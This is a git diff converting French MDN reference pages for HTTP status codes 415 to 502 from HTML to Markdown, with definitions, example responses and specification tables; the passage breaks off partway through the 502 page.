Web/HTTP/Status/415 --- -<div>{{HTTPSidebar}}</div> +{{HTTPSidebar}} -<p>Le code de réponse d'erreur HTTP <code><strong>415 Unsupported Media Type</strong></code> indique que le serveur refuse la requête car le format de la charge utile (<em>payload</em>) n'est pas pris en charge.</p> +Le code de réponse d'erreur HTTP **`415 Unsupported Media Type`** indique que le serveur refuse la requête car le format de la charge utile (_payload_) n'est pas pris en charge. -<p>Le problème de format peut être causé par les valeurs des en-têtes {{HTTPHeader("Content-Type")}} ou {{HTTPHeader("Content-Encoding")}} dans la requête ou, plus directement, à cause de l'inspection des données.</p> +Le problème de format peut être causé par les valeurs des en-têtes {{HTTPHeader("Content-Type")}} ou {{HTTPHeader("Content-Encoding")}} dans la requête ou, plus directement, à cause de l'inspection des données. -<h2 id="Statut">Statut</h2> +## Statut -<pre class="syntaxbox">415 Unsupported Media Type</pre> + 415 Unsupported Media Type -<h2 id="Spécifications">Spécifications</h2> +## Spécifications -<table class="standard-table"> - <tbody> - <tr> - <th scope="col">Spécification</th> - <th scope="col">Titre</th> - </tr> - <tr> - <td>{{RFC("7231", "415 Unsupported Media Type" , "6.5.13")}}</td> - <td>Hypertext Transfer Protocol (HTTP/1.1): Semantics and Content</td> - </tr> - </tbody> -</table> +| Spécification | Titre | +| ---------------------------------------------------------------------------- | ------------------------------------------------------------- | +| {{RFC("7231", "415 Unsupported Media Type" , "6.5.13")}} | Hypertext Transfer Protocol (HTTP/1.1): Semantics and Content | -<h2 id="Voir_aussi">Voir aussi</h2> +## Voir aussi -<ul> - <li>{{HTTPHeader("Content-Type")}}</li> - <li>{{HTTPHeader("Content-Encoding")}}</li> - <li>{{HTTPHeader("Accept")}}</li> -</ul> +- {{HTTPHeader("Content-Type")}} +- {{HTTPHeader("Content-Encoding")}} +- {{HTTPHeader("Accept")}} diff --git a/files/fr/web/http/status/416/index.md b/files/fr/web/http/status/416/index.md index f9ffacd454..19c1bf5b51 100644 --- a/files/fr/web/http/status/416/index.md +++ b/files/fr/web/http/status/416/index.md @@ -8,41 +8,30 @@ tags: - Référence(2) translation_of: Web/HTTP/Status/416 --- -<div>{{HTTPSidebar}}</div> +{{HTTPSidebar}} -<p>Le code de réponse d'erreur HTTP <code><strong>416</strong></code><strong><code> Range Not Satisfiable</code></strong> indique que le serveur ne peut pas servir les plages demandées. L'explication la plus probable est que le document ne contient pas de telles plages, ou que la valeur de l'en-tête {{HTTPHeader("Range")}} n'a aucun sens bien que sa syntaxe soit correcte.</p> +Le code de réponse d'erreur HTTP **`416`\*\***` Range Not Satisfiable`\*\* indique que le serveur ne peut pas servir les plages demandées. L'explication la plus probable est que le document ne contient pas de telles plages, ou que la valeur de l'en-tête {{HTTPHeader("Range")}} n'a aucun sens bien que sa syntaxe soit correcte. -<p>Le message de réponse <code>416</code> contient un en-tête {{HTTPHeader("Content-Range")}} qui indique une plage qui n'est pas satisfaite (représentée par <code>'*'</code>) suivie par <code>'/'</code> puis la ressource courante (par exemple <code>Content-Range: */12777</code>).</p> +Le message de réponse `416` contient un en-tête {{HTTPHeader("Content-Range")}} qui indique une plage qui n'est pas satisfaite (représentée par `'*'`) suivie par `'/'` puis la ressource courante (par exemple `Content-Range: */12777`). -<p>Lorsqu'ils rencontrent cette erreur, les navigateurs abandonnent généralement l'opération en cours (un téléchargement ne pourra pas être repris par exemple) ou ils redemandent le document dans son intégralité.</p> +Lorsqu'ils rencontrent cette erreur, les navigateurs abandonnent généralement l'opération en cours (un téléchargement ne pourra pas être repris par exemple) ou ils redemandent le document dans son intégralité. -<h2 id="Statut">Statut</h2> +## Statut -<pre class="syntaxbox">416 Range Not Satisfiable</pre> + 416 Range Not Satisfiable -<h2 id="Spécifications">Spécifications</h2> +## Spécifications -<table class="standard-table"> - <tbody> - <tr> - <th scope="col">Spécification</th> - <th scope="col">Titre</th> - </tr> - <tr> - <td>{{RFC("7233", "416 Request Not Satisfiable" , "4.4")}}</td> - <td>Hypertext Transfer Protocol (HTTP/1.1): Range Requests</td> - </tr> - </tbody> -</table> +| Spécification | Titre | +| ------------------------------------------------------------------------ | ------------------------------------------------------ | +| {{RFC("7233", "416 Request Not Satisfiable" , "4.4")}} | Hypertext Transfer Protocol (HTTP/1.1): Range Requests | -<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2> +## Compatibilité des navigateurs -<p>{{Compat("http/status", "416")}}</p> +{{Compat("http/status", "416")}} -<h2 id="Voir_aussi">Voir aussi</h2> +## Voir aussi -<ul> - <li>{{HTTPStatus(206)}} <code>Partial Content</code></li> - <li>{{HTTPHeader("Content-Range")}}</li> - <li>{{HTTPHeader("Range")}}</li> -</ul> +- {{HTTPStatus(206)}} `Partial Content` +- {{HTTPHeader("Content-Range")}} +- {{HTTPHeader("Range")}} diff --git a/files/fr/web/http/status/417/index.md b/files/fr/web/http/status/417/index.md index 5137bd7113..5d55e0d5f5 100644 --- a/files/fr/web/http/status/417/index.md +++ b/files/fr/web/http/status/417/index.md @@ -9,33 +9,22 @@ tags: - Reference translation_of: Web/HTTP/Status/417 --- -<div>{{HTTPSidebar}}</div> +{{HTTPSidebar}} -<p>Le code de réponse d'erreur HTTP <strong><code>417 Expectation Failed</code></strong> indique que les attentes indiquées par l'en-tête {{HTTPHeader ("Expect")}} n'ont pu être satisfaites.</p> +Le code de réponse d'erreur HTTP **`417 Expectation Failed`** indique que les attentes indiquées par l'en-tête {{HTTPHeader ("Expect")}} n'ont pu être satisfaites. -<p>Voir la page sur l'en-tête {{HTTPHeader("Expect")}} pour plus de détails.</p> +Voir la page sur l'en-tête {{HTTPHeader("Expect")}} pour plus de détails. -<h2 id="Statut">Statut</h2> +## Statut -<pre class="syntaxbox">417 Expectation Failed</pre> + 417 Expectation Failed -<h2 id="Spécifications">Spécifications</h2> +## Spécifications -<table class="standard-table"> - <tbody> - <tr> - <th scope="col">Spécification</th> - <th scope="col">Titre</th> - </tr> - <tr> - <td>{{RFC("7231", "417 Expectation Failed" , "6.5.14")}}</td> - <td>Hypertext Transfer Protocol (HTTP/1.1): Semantics and Content</td> - </tr> - </tbody> -</table> +| Spécification | Titre | +| -------------------------------------------------------------------- | ------------------------------------------------------------- | +| {{RFC("7231", "417 Expectation Failed" , "6.5.14")}} | Hypertext Transfer Protocol (HTTP/1.1): Semantics and Content | -<h2 id="Voir_aussi">Voir aussi</h2> +## Voir aussi -<ul> - <li>{{HTTPHeader("Expect")}}</li> -</ul> +- {{HTTPHeader("Expect")}} diff --git a/files/fr/web/http/status/418/index.md b/files/fr/web/http/status/418/index.md index 8b050ecc58..f71dc94ec0 100644 --- a/files/fr/web/http/status/418/index.md +++ b/files/fr/web/http/status/418/index.md @@ -5,35 +5,24 @@ tags: - HTTP translation_of: Web/HTTP/Status/418 --- -<div>{{HTTPSidebar}}</div> +{{HTTPSidebar}} -<p>Le statut erreur client HTTP <code>418 I'm a teapot</code> qui signifie "Je suis une théière" informe que le serveur refuse de préparer du café, car il s'agit d'une théière. Cette erreur est une référence au protocole Hyper Text Coffee Pot Control Protocol qui est le poisson d'avril des RFCs en 1998.</p> +Le statut erreur client HTTP `418 I'm a teapot` qui signifie "Je suis une théière" informe que le serveur refuse de préparer du café, car il s'agit d'une théière. Cette erreur est une référence au protocole Hyper Text Coffee Pot Control Protocol qui est le poisson d'avril des RFCs en 1998. -<h2 id="Statut">Statut</h2> +## Statut -<pre class="syntaxbox">418 I'm a teapot</pre> + 418 I'm a teapot -<h2 id="Spécifications">Spécifications</h2> +## Spécifications -<table class="standard-table"> - <tbody> - <tr> - <th scope="col">Spécification</th> - <th scope="col">Titre</th> - </tr> - <tr> - <td>{{RFC("2324", "418 I'm a teapot" , "2.3.2")}}</td> - <td>Hyper Text Coffee Pot Control Protocol (HTCPCP/1.0): Semantics and Content</td> - </tr> - </tbody> -</table> +| Spécification | Titre | +| ------------------------------------------------------------ | -------------------------------------------------------------------------- | +| {{RFC("2324", "418 I'm a teapot" , "2.3.2")}} | Hyper Text Coffee Pot Control Protocol (HTCPCP/1.0): Semantics and Content | -<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2> +## Compatibilité des navigateurs -<p>{{Compat("http.status.418")}}</p> +{{Compat("http.status.418")}} -<h2 id="Voir_aussi">Voir aussi</h2> +## Voir aussi -<ul> - <li><a href="https://fr.wikipedia.org/wiki/Hyper_Text_Coffee_Pot_Control_Protocol">Hyper Text Coffee Pot Control Protocol sur Wikipédia</a></li> -</ul> +- [Hyper Text Coffee Pot Control Protocol sur Wikipédia](https://fr.wikipedia.org/wiki/Hyper_Text_Coffee_Pot_Control_Protocol) diff --git a/files/fr/web/http/status/422/index.md b/files/fr/web/http/status/422/index.md index c79b1e9f78..8d50bbb861 100644 --- a/files/fr/web/http/status/422/index.md +++ b/files/fr/web/http/status/422/index.md @@ -10,31 +10,18 @@ tags: - Reference translation_of: Web/HTTP/Status/422 --- -<p>{{HTTPSidebar}}</p> +{{HTTPSidebar}} -<p>Le code de statut de réponse HTTP <code><strong>422 Unprocessable Entity</strong></code> indique que le serveur a compris le type de contenu de la requête et que la syntaxe de la requête est correcte mais que le serveur n'a pas été en mesure de réaliser les instructions demandées.</p> +Le code de statut de réponse HTTP **`422 Unprocessable Entity`** indique que le serveur a compris le type de contenu de la requête et que la syntaxe de la requête est correcte mais que le serveur n'a pas été en mesure de réaliser les instructions demandées. -<div class="warning"> -<p><strong>Attention :</strong> Le client ne doit pas renvoyer cette requête sans modification.</p> -</div> +> **Attention :** Le client ne doit pas renvoyer cette requête sans modification. -<h2 id="Statut">Statut</h2> +## Statut -<pre class="syntaxbox">422 Unprocessable Entity</pre> + 422 Unprocessable Entity -<h2 id="Spécifications">Spécifications</h2> +## Spécifications -<table class="standard-table"> - <thead> - <tr> - <th scope="col">Spécification</th> - <th scope="col">Titre (en Anglais)</th> - </tr> - </thead> - <tbody> - <tr> - <td>{{RFC("4918", "422 Unprocessable Entity" , "11.2")}}</td> - <td>HTTP Extensions for Web Distributed Authoring and Versioning (WebDAV)</td> - </tr> - </tbody> -</table> +| Spécification | Titre (en Anglais) | +| -------------------------------------------------------------------- | --------------------------------------------------------------------- | +| {{RFC("4918", "422 Unprocessable Entity" , "11.2")}} | HTTP Extensions for Web Distributed Authoring and Versioning (WebDAV) | diff --git a/files/fr/web/http/status/425/index.md b/files/fr/web/http/status/425/index.md index 303ff44663..538bcd5047 100644 --- a/files/fr/web/http/status/425/index.md +++ b/files/fr/web/http/status/425/index.md @@ -7,31 +7,20 @@ tags: - HTTP translation_of: Web/HTTP/Status/425 --- -<p>{{SeeCompatTable}}{{HTTPSidebar}}</p> +{{SeeCompatTable}}{{HTTPSidebar}} -<p>Le code de réponse d’erreur HyperText Transfer Protocol (HTTP) <code><strong>425 Too Early</strong></code> signifie que le serveur refuse la requête qui a été récemment répétée par exemple de peur d’une attaque DDoS </p> +Le code de réponse d’erreur HyperText Transfer Protocol (HTTP) **`425 Too Early`** signifie que le serveur refuse la requête qui a été récemment répétée par exemple de peur d’une attaque DDoS -<h2 id="Status">Status</h2> +## Status -<pre class="syntaxbox">425 Too Early</pre> + 425 Too Early -<h2 id="Specifications">Specifications</h2> +## Specifications -<table class="standard-table"> - <thead> - <tr> - <th scope="col">Specification</th> - <th scope="col">Title</th> - </tr> - </thead> - <tbody> - <tr> - <td>{{RFC("8470", "425: Early Data", "5.2")}}</td> - <td>Using Early Data in HTTP</td> - </tr> - </tbody> -</table> +| Specification | Title | +| -------------------------------------------------------- | ------------------------ | +| {{RFC("8470", "425: Early Data", "5.2")}} | Using Early Data in HTTP | -<h2 id="Browser_compatibility">Browser compatibility</h2> +## Browser compatibility -<p>{{Compat("http.status.425")}}</p> +{{Compat("http.status.425")}} diff --git a/files/fr/web/http/status/426/index.md b/files/fr/web/http/status/426/index.md index 5b05f90641..fcdffad73b 100644 --- a/files/fr/web/http/status/426/index.md +++ b/files/fr/web/http/status/426/index.md @@ -8,44 +8,33 @@ tags: - Reference translation_of: Web/HTTP/Status/426 --- -<div>{{HTTPSidebar}}</div> +{{HTTPSidebar}} -<p>Le code de réponse d'erreur HTTP <code><strong>426 Upgrade Required</strong></code> indique que le serveur refuse de réaliser la requête en utilisant le protocole actuel mais qu'il sera peut-être disposé à le faire après que le client augmente la version du protocole utilisé.</p> +Le code de réponse d'erreur HTTP **`426 Upgrade Required`** indique que le serveur refuse de réaliser la requête en utilisant le protocole actuel mais qu'il sera peut-être disposé à le faire après que le client augmente la version du protocole utilisé. -<p>Avec cette réponse, le serveur renvoie un en-tête {{HTTPHeader("Upgrade")}} pour indiquer le(s) protocole(s) requis.</p> +Avec cette réponse, le serveur renvoie un en-tête {{HTTPHeader("Upgrade")}} pour indiquer le(s) protocole(s) requis. -<h2 id="Statut">Statut</h2> +## Statut -<pre class="syntaxbox">426 Upgrade Required</pre> + 426 Upgrade Required -<h2 id="Exemples">Exemples</h2> +## Exemples -<pre>HTTP/1.1 426 Upgrade Required -Upgrade: HTTP/3.0 -Connection: Upgrade -Content-Length: 53 -Content-Type: text/plain + HTTP/1.1 426 Upgrade Required + Upgrade: HTTP/3.0 + Connection: Upgrade + Content-Length: 53 + Content-Type: text/plain -This service requires use of the HTTP/3.0 protocol</pre> + This service requires use of the HTTP/3.0 protocol -<h2 id="Spécifications">Spécifications</h2> +## Spécifications -<table class="standard-table"> - <tbody> - <tr> - <th scope="col">Spécification</th> - <th scope="col">Titre</th> - </tr> - <tr> - <td>{{RFC("7231", "426 Upgrade Required" , "6.5.15")}}</td> - <td>Hypertext Transfer Protocol (HTTP/1.1): Semantics and Content</td> - </tr> - </tbody> -</table> +| Spécification | Titre | +| -------------------------------------------------------------------- | ------------------------------------------------------------- | +| {{RFC("7231", "426 Upgrade Required" , "6.5.15")}} | Hypertext Transfer Protocol (HTTP/1.1): Semantics and Content | -<h2 id="Voir_aussi">Voir aussi</h2> +## Voir aussi -<ul> - <li>{{HTTPHeader("Upgrade")}}</li> - <li>{{HTTPStatus("101")}} <code>Switching Protocol</code></li> -</ul> +- {{HTTPHeader("Upgrade")}} +- {{HTTPStatus("101")}} `Switching Protocol` diff --git a/files/fr/web/http/status/428/index.md b/files/fr/web/http/status/428/index.md index ba81c952ad..9f8706c67c 100644 --- a/files/fr/web/http/status/428/index.md +++ b/files/fr/web/http/status/428/index.md @@ -8,37 +8,26 @@ tags: - Reference translation_of: Web/HTTP/Status/428 --- -<div>{{HTTPSidebar}}</div> +{{HTTPSidebar}} -<p>Le code de statut de réponse HTTP <code><strong>428 Precondition Required</strong></code> indique que le serveur requiert que la requête soit <a href="/fr/docs/Web/HTTP/Conditional_requests">conditionnelle</a>.</p> +Le code de statut de réponse HTTP **`428 Precondition Required`** indique que le serveur requiert que la requête soit [conditionnelle](/fr/docs/Web/HTTP/Conditional_requests). -<p>Généralement, cela signifie qu'il <strong>manque</strong> un en-tête de précondition, comme {{HTTPHeader("If-Match")}}.</p> +Généralement, cela signifie qu'il **manque** un en-tête de précondition, comme {{HTTPHeader("If-Match")}}. -<p>Lorsqu'un en-tête de précondition <strong>ne correspond pas</strong> à l'état du serveur, la réponse doit être {{HTTPStatus(412)}} <code>Precondition Failed</code>.</p> +Lorsqu'un en-tête de précondition **ne correspond pas** à l'état du serveur, la réponse doit être {{HTTPStatus(412)}} `Precondition Failed`. -<h2 id="Statut">Statut</h2> +## Statut -<pre class="syntaxbox">428 Precondition Required</pre> + 428 Precondition Required -<h2 id="Spécifications">Spécifications</h2> +## Spécifications -<table class="standard-table"> - <tbody> - <tr> - <th scope="col">Spécification</th> - <th scope="col">Titre</th> - </tr> - <tr> - <td>{{RFC("6585", "428 Precondition Required" , "3")}}</td> - <td>Additional HTTP Status Codes</td> - </tr> - </tbody> -</table> +| Spécification | Titre | +| -------------------------------------------------------------------- | ---------------------------- | +| {{RFC("6585", "428 Precondition Required" , "3")}} | Additional HTTP Status Codes | -<h2 id="Voir_aussi">Voir aussi</h2> +## Voir aussi -<ul> - <li><a href="/fr/docs/Web/HTTP/Conditional_requests">Les requêtes conditionnelles en HTTP</a></li> - <li>{{HTTPHeader("If-Match")}}</li> - <li>{{HTTPStatus(412)}}</li> -</ul> +- [Les requêtes conditionnelles en HTTP](/fr/docs/Web/HTTP/Conditional_requests) +- {{HTTPHeader("If-Match")}} +- {{HTTPStatus(412)}} diff --git a/files/fr/web/http/status/429/index.md b/files/fr/web/http/status/429/index.md index d35937fc29..627ee1dd4c 100644 --- a/files/fr/web/http/status/429/index.md +++ b/files/fr/web/http/status/429/index.md @@ -8,39 +8,28 @@ tags: - Reference translation_of: Web/HTTP/Status/429 --- -<div>{{HTTPSidebar}}</div> +{{HTTPSidebar}} -<p>Le code de statut de réponse HTTP <code><strong>429 Too Many Requests</strong></code> indique que l'utilisateur a envoyé trop de requêtes en un temps donné.</p> +Le code de statut de réponse HTTP **`429 Too Many Requests`** indique que l'utilisateur a envoyé trop de requêtes en un temps donné. -<p>Un en-tête {{HTTPHeader("Retry-After")}} peut être inclus dans cette réponse afin d'indiquer le temps à attendre pour effectuer une nouvelle requête.</p> +Un en-tête {{HTTPHeader("Retry-After")}} peut être inclus dans cette réponse afin d'indiquer le temps à attendre pour effectuer une nouvelle requête. -<h2 id="Statut">Statut</h2> +## Statut -<pre class="syntaxbox">429 Too Many Requests</pre> + 429 Too Many Requests -<h2 id="Exemple">Exemple</h2> +## Exemple -<pre>HTTP/1.1 429 Too Many Requests -Content-Type: text/html -Retry-After: 3600</pre> + HTTP/1.1 429 Too Many Requests + Content-Type: text/html + Retry-After: 3600 -<h2 id="Spécifications">Spécifications</h2> +## Spécifications -<table class="standard-table"> - <tbody> - <tr> - <th scope="col">Spécification</th> - <th scope="col">Titre</th> - </tr> - <tr> - <td>{{RFC("6585", "429 Too Many Requests" , "4")}}</td> - <td>Additional HTTP Status Codes</td> - </tr> - </tbody> -</table> +| Spécification | Titre | +| ------------------------------------------------------------ | ---------------------------- | +| {{RFC("6585", "429 Too Many Requests" , "4")}} | Additional HTTP Status Codes | -<h2 id="Voir_aussi">Voir aussi</h2> +## Voir aussi -<ul> - <li>{{HTTPHeader("Retry-After")}}</li> -</ul> +- {{HTTPHeader("Retry-After")}} diff --git a/files/fr/web/http/status/431/index.md b/files/fr/web/http/status/431/index.md index a06361f082..4f688e05d4 100644 --- a/files/fr/web/http/status/431/index.md +++ b/files/fr/web/http/status/431/index.md @@ -8,33 +8,22 @@ tags: - Reference translation_of: Web/HTTP/Status/431 --- -<div>{{HTTPSidebar}}</div> +{{HTTPSidebar}} -<p>Le code de statut de réponse HTTP <code><strong>431 Request Header Fields Too Large</strong></code> indique que le serveur n'est pas disposé à traiter la requête, car les champs d'en-têtes sont trop grands. La requête peut être renvoyée une fois que les champs des en-têtes de la requête auront été réduits.</p> +Le code de statut de réponse HTTP **`431 Request Header Fields Too Large`** indique que le serveur n'est pas disposé à traiter la requête, car les champs d'en-têtes sont trop grands. La requête peut être renvoyée une fois que les champs des en-têtes de la requête auront été réduits. -<p>Ce code peut être utilisé lorsque tous les champs sont trop grands ou qu'un seul champ est trop grand. Cette erreur ne devrait pas se produire pour les systèmes en production mais peut être employée lorsqu'on teste un nouveau système pour lequel tous les contrôles n'ont pas encore été mis en place.</p> +Ce code peut être utilisé lorsque tous les champs sont trop grands ou qu'un seul champ est trop grand. Cette erreur ne devrait pas se produire pour les systèmes en production mais peut être employée lorsqu'on teste un nouveau système pour lequel tous les contrôles n'ont pas encore été mis en place. -<h2 id="Statut">Statut</h2> +## Statut -<pre class="syntaxbox">431 Request Header Fields Too Large</pre> + 431 Request Header Fields Too Large -<h2 id="Spécifications">Spécifications</h2> +## Spécifications -<table class="standard-table"> - <tbody> - <tr> - <th scope="col">Spécification</th> - <th scope="col">Titre</th> - </tr> - <tr> - <td>{{RFC("6585", "431 Request Header Fields Too Large" , "5")}}</td> - <td>Additional HTTP Status Codes</td> - </tr> - </tbody> -</table> +| Spécification | Titre | +| -------------------------------------------------------------------------------- | ---------------------------- | +| {{RFC("6585", "431 Request Header Fields Too Large" , "5")}} | Additional HTTP Status Codes | -<h2 id="Voir_aussi">Voir aussi</h2> +## Voir aussi -<ul> - <li>{{Glossary("En-tête")}}</li> -</ul> +- {{Glossary("En-tête")}} diff --git a/files/fr/web/http/status/451/index.md b/files/fr/web/http/status/451/index.md index a206487e4e..dda7730c83 100644 --- a/files/fr/web/http/status/451/index.md +++ b/files/fr/web/http/status/451/index.md @@ -8,57 +8,46 @@ tags: - Reference translation_of: Web/HTTP/Status/451 --- -<div>{{HTTPSidebar}}</div> +{{HTTPSidebar}} -<p>Le code de réponse d'erreur HTTP <code><strong>451</strong></code><strong><code> Unavailable For Legal Reasons</code></strong> indique que l'utilisateur a demandé une ressource qui n'est pas disponible pour des raisons légales (par exemple une page web sous le coup d'une action en justice).</p> +Le code de réponse d'erreur HTTP **`451`\*\***` Unavailable For Legal Reasons`\*\* indique que l'utilisateur a demandé une ressource qui n'est pas disponible pour des raisons légales (par exemple une page web sous le coup d'une action en justice). -<h2 id="Statut">Statut</h2> +## Statut -<pre class="syntaxbox">451 Unavailable For Legal Reasons</pre> + 451 Unavailable For Legal Reasons -<h2 id="Exemple">Exemple</h2> +## Exemple -<p>Cet exemple de réponse est tiré de la RFC IETF (cf. ci-après), et contient une référence à {{interwiki("wikipedia", "Monty_Python's_Life_of_Brian", "<em>Monty Python : La Vie de Brian</em>")}}.</p> +Cet exemple de réponse est tiré de la RFC IETF (cf. ci-après), et contient une référence à {{interwiki("wikipedia", "Monty_Python's_Life_of_Brian", "<em>Monty Python : La Vie de Brian</em>")}}. -<p>Notez que l'en-tête {{HTTPHeader("Link")}} peut aussi contenir une relation <code>rel="blocked-by"</code> identifiant l'entité responsable de l'indisponibilité de la ressource (par exemple le nom de la personne ou de l'organisation à l'origine de la demande légale ayant entraîné le retrait du contenu).</p> +Notez que l'en-tête {{HTTPHeader("Link")}} peut aussi contenir une relation `rel="blocked-by"` identifiant l'entité responsable de l'indisponibilité de la ressource (par exemple le nom de la personne ou de l'organisation à l'origine de la demande légale ayant entraîné le retrait du contenu). -<pre>HTTP/1.1 451 Unavailable For Legal Reasons -Link: <https://spqr.example.org/legislatione>; rel="blocked-by" -Content-Type: text/html + HTTP/1.1 451 Unavailable For Legal Reasons + Link: <https://spqr.example.org/legislatione>; rel="blocked-by" + Content-Type: text/html -<html> -<head><title>Unavailable For Legal Reasons</title></head> -<body> -<h1>Unavailable For Legal Reasons</h1> -<p>This request may not be serviced in the Roman Province -of Judea due to the Lex Julia Majestatis, which disallows -access to resources hosted on servers deemed to be -operated by the People's Front of Judea.</p> -</body> -</html></pre> + <html> + <head><title>Unavailable For Legal Reasons</title></head> + <body> + <h1>Unavailable For Legal Reasons</h1> + <p>This request may not be serviced in the Roman Province + of Judea due to the Lex Julia Majestatis, which disallows + access to resources hosted on servers deemed to be + operated by the People's Front of Judea.</p> + </body> + </html> -<h2 id="Spécifications">Spécifications</h2> +## Spécifications -<table class="standard-table"> - <tbody> - <tr> - <th scope="col">Spécification</th> - <th scope="col">Titre</th> - </tr> - <tr> - <td>{{RFC("7725", "451 Unavailable For Legal Reasons")}}</td> - <td>An HTTP Status Code to Report Legal Obstacles</td> - </tr> - </tbody> -</table> +| Spécification | Titre | +| -------------------------------------------------------------------- | --------------------------------------------- | +| {{RFC("7725", "451 Unavailable For Legal Reasons")}} | An HTTP Status Code to Report Legal Obstacles | -<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2> +## Compatibilité des navigateurs -<p>{{Compat("http/status", "451")}}</p> +{{Compat("http/status", "451")}} -<h2 id="Voir_aussi">Voir aussi</h2> +## Voir aussi -<ul> - <li>{{interwiki("wikipedia", "HTTP_451", "Wikipedia: HTTP 451")}}</li> - <li>{{interwiki("wikipedia", "Fahrenheit_451", "Wikipedia: Fahrenheit 451")}} (qui a donné son numéro à ce code de statut)</li> -</ul> +- {{interwiki("wikipedia", "HTTP_451", "Wikipedia: HTTP 451")}} +- {{interwiki("wikipedia", "Fahrenheit_451", "Wikipedia: Fahrenheit 451")}} (qui a donné son numéro à ce code de statut) diff --git a/files/fr/web/http/status/500/index.md b/files/fr/web/http/status/500/index.md index 659e2ff40f..0fda39939f 100644 --- a/files/fr/web/http/status/500/index.md +++ b/files/fr/web/http/status/500/index.md @@ -7,33 +7,24 @@ tags: - HTTP translation_of: Web/HTTP/Status/500 --- -<div>{{HTTPSidebar}}</div> +{{HTTPSidebar}} -<p>Le code de réponse HyperText Transfer Protocol (HTTP) d'erreur serveur <code><strong>500</strong></code><strong><code> Internal Server Error</code></strong> indique que le serveur a rencontré un problème inattendu qui l'empêche de répondre à la requête.</p> +Le code de réponse HyperText Transfer Protocol (HTTP) d'erreur serveur **`500`\*\***` Internal Server Error`\*\* indique que le serveur a rencontré un problème inattendu qui l'empêche de répondre à la requête. -<p>Cette réponse d'erreur est une réponse générique « fourre-tout ». Souvent, les administrateurs des serveurs enregistreront les erreurs qui entraînent un code 500 avec d'autres informations à propos de la requête afin d'empêcher que l'erreur ne se reproduise à nouveau.</p> +Cette réponse d'erreur est une réponse générique « fourre-tout ». Souvent, les administrateurs des serveurs enregistreront les erreurs qui entraînent un code 500 avec d'autres informations à propos de la requête afin d'empêcher que l'erreur ne se reproduise à nouveau. -<h2 id="Statut">Statut</h2> +## Statut -<pre class="syntaxbox">500 Internal Server Error</pre> + 500 Internal Server Error -<h2 id="Spécifications">Spécifications</h2> +## Spécifications -<table class="standard-table"> - <tbody> - <tr> - <th scope="col">Spécification</th> - <th scope="col">Titre</th> - </tr> - <tr> - <td>{{RFC("7231", "500 Internal Server Error" , "6.6.1")}}</td> - <td>Hypertext Transfer Protocol (HTTP/1.1): Semantics and Content</td> - </tr> - </tbody> -</table> +| Spécification | Titre | +| ------------------------------------------------------------------------ | ------------------------------------------------------------- | +| {{RFC("7231", "500 Internal Server Error" , "6.6.1")}} | Hypertext Transfer Protocol (HTTP/1.1): Semantics and Content | -<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2> +## Compatibilité des navigateurs -<p>L'information ci-dessous provient du dépôt GitHub de MDN (<a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a>).</p> +L'information ci-dessous provient du dépôt GitHub de MDN (<https://github.com/mdn/browser-compat-data>). -<p>{{Compat("http/status", "500")}}</p> +{{Compat("http/status", "500")}} diff --git a/files/fr/web/http/status/501/index.md b/files/fr/web/http/status/501/index.md index 6ed8382bd4..7bb29d67fe 100644 --- a/files/fr/web/http/status/501/index.md +++ b/files/fr/web/http/status/501/index.md @@ -8,35 +8,24 @@ tags: - Reference translation_of: Web/HTTP/Status/501 --- -<div>{{HTTPSidebar}}</div> +{{HTTPSidebar}} -<p>Le code de réponse HTTP d'erreur serveur <code><strong>501</strong></code><strong><code> Not Implemented</code></strong> indique que la méthode de la requête n'est pas prise en charge par le serveur et qu'elle ne peut donc pas être prise en compte. Les serveurs doivent nécessairement prendre en charge les méthodes {{HTTPMethod("GET")}} et {{HTTPMethod("HEAD")}} (pour lesquelles ils ne doivent donc pas renvoyer ce code).</p> +Le code de réponse HTTP d'erreur serveur **`501`\*\***` Not Implemented`\*\* indique que la méthode de la requête n'est pas prise en charge par le serveur et qu'elle ne peut donc pas être prise en compte. Les serveurs doivent nécessairement prendre en charge les méthodes {{HTTPMethod("GET")}} et {{HTTPMethod("HEAD")}} (pour lesquelles ils ne doivent donc pas renvoyer ce code). -<p>Une erreur 501 ne peut pas être corrigée via le client (c'est-à-dire le navigateur dans la plupart des cas). Il est nécessaire que cela soit corrigé sur le serveur web.</p> +Une erreur 501 ne peut pas être corrigée via le client (c'est-à-dire le navigateur dans la plupart des cas). Il est nécessaire que cela soit corrigé sur le serveur web. -<div class="note"> -<p><strong>Note :</strong> Par défaut, une réponse 501 peut être mise en cache.</p> -</div> +> **Note :** Par défaut, une réponse 501 peut être mise en cache. -<h2 id="Statut">Statut</h2> +## Statut -<pre class="syntaxbox">501 Not Implemented</pre> + 501 Not Implemented -<h2 id="Spécifications">Spécifications</h2> +## Spécifications -<table class="standard-table"> - <tbody> - <tr> - <th scope="col">Specification</th> - <th scope="col">Title</th> - </tr> - <tr> - <td>{{RFC("7231", "501 Not Implemented" , "6.6.2")}}</td> - <td>Hypertext Transfer Protocol (HTTP/1.1): Semantics and Content</td> - </tr> - </tbody> -</table> +| Specification | Title | +| ---------------------------------------------------------------- | ------------------------------------------------------------- | +| {{RFC("7231", "501 Not Implemented" , "6.6.2")}} | Hypertext Transfer Protocol (HTTP/1.1): Semantics and Content | -<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2> +## Compatibilité des navigateurs -<p>{{Compat("http/status", "501")}}</p> +{{Compat("http/status", "501")}} diff --git a/files/fr/web/http/status/502/index.md b/files/fr/web/http/status/502/index.md index 931b6c20d5..dd212474ee 100644 --- a/files/fr/web/http/status/502/index.md +++ b/files/fr/web/http/status/502/index.md @@ -7,37 +7,26 @@ tags: - Server error translation_of: Web/HTTP/Status/502 --- -<div>{{HTTPSidebar}}</div> +{{HTTPSidebar}} -<p>Le code de réponse HTTP d'erreur serveur <code><strong>502</strong></code><strong><code> Bad Gateway</code></strong> indique que le serveur, agissant comme une passerelle ou un proxy, a reçu une réponse invalide depuis le serveur en amont.</p> +Le code de réponse HTTP d'erreur serveur **`502`\*\***` Bad Gateway`\*\* indique que le serveur, agissant comme une passerelle ou un proxy, a reçu une réponse invalide depuis le serveur en amont. -<p>Une {{interwiki("wikipedia", "Passerelle_(informatique)", "passerelle")}} peut faire référence à différents éléments en réseaux et une erreur 502 est habituellement quelque chose que vous ne pouvez pas corriger, mais qui nécessite une correction sur le serveur web ou le proxy par lequel vous passez pour y 